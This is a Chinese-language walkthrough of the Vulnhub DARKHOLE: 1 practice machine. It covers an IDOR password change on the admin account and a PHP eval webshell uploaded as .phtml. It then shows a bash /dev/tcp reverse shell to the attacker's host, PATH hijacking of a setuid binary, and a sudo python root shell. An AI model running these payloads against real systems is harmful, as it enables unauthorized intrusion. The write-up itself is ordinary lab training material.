Vulnhub之DARKHOLE: 1渗透测试

1、靶机概述

Description
Difficulty: Easy

It’s a box for beginners, but not easy, Good Luck

Hint: Don’t waste your time For Brute-Force
链接: 靶机下载地址.
KALI:192.168.110.128
靶机:192.168.110.136

2、信息收集

首先把靶机的IP给扫出来
在这里插入图片描述
接着扫描一波端口和服务
在这里插入图片描述
靶机开启22和80端口,毫无疑问,先访问一下80端口,显示为一个站点。
在这里插入图片描述
查看页面和审计页面源码,并没有发现关键信息。
点击login,进入登录页面
在这里插入图片描述
靶机描述中已经告诉我们不要使用暴力破解,不过可以注册一个账号。点击sign up now,然后注册一个账号(test01:123456)。

注册成功后,登录进去系统。
在这里插入图片描述
仅有更新个人信息和密码功能。

3、越权操作

更新一下密码,并使用BP抓包。
在这里插入图片描述
尝试是否存在越权操作漏洞,修改参数id=1
在这里插入图片描述
事实证明,存在越权操作漏洞,且我们已经修改了id=1的账户(admin)的密码为111111。

使用管理员账户(admin:111111)登录系统,多了一个文件上传功能。
在这里插入图片描述

4、文件上传获取shell

首先上传一个php文件,内容为

<?php @eval($_POST[cmd]);?)>

但是报错了,猜测做了黑名单检测。
在这里插入图片描述
将后缀名改为.phtml,再次上传,上传成功,且暴露了上传路径。
在这里插入图片描述
使用蚁剑连接,获取到shell
在这里插入图片描述

5、反弹shell至kali

下一步,我们反弹shell至kali
新建文件xxx.sh,并赋予执行权限,内容为

#!/bin/bash
bash -i >& /dev/tcp/192.168.110.128/7788 0>&1

kali上开启nc监听,在蚁剑终端执行xxx.sh,反弹shell成功。
在这里插入图片描述
目前,我们获得的权限还比较低,下一步,开始提权

查看/etc/passwd,可知,我们要先提权到john或darkhole
在这里插入图片描述
在/var/www/html/config目录下存在数据库连接文件
在这里插入图片描述

在/home/john目录下发现toto二进制文件具有s权限
在这里插入图片描述
这个toto文件是"id"的副本文件,运行发现toto文件的结果是用john的身份执行了id命令
在这里插入图片描述

6、获取john用户shell

我们可以尝试利用这个特性,在本地编辑新的id文件,写入/bin/bash,给执行权限。然后将文件路径写入到原有环境变量前(从前往后顺序匹配),这样使用id命令时就会优先匹配此路径下的id文件,运行toto文件使用john身份调用id命令时就会获得shell

echo '/bin/bash' > /tmp/id;chmod +x /tmp/id;export PATH=/tmp:$PATH

在这里插入图片描述
在user.txt中找到flag,在password中找到密码root123
在这里插入图片描述
登录john账户
在这里插入图片描述

7、获取root权限

下一步,就是提权到root,首先搜一下具有sodo权限的命令
在这里插入图片描述
用户可以编辑并执行root权限的python 脚本。

那我们将获取shell的命令加入到python脚本中再去执行就可以获得root权限了

echo 'import os;os.system("/bin/bash")' > file.py
sudo python3 /home/john/file.py

在这里插入图片描述

本图文内容来源于网友网络收集整理提供,作为学习参考使用,版权属于原作者。
THE END
分享
二维码
< <上一篇
下一篇>>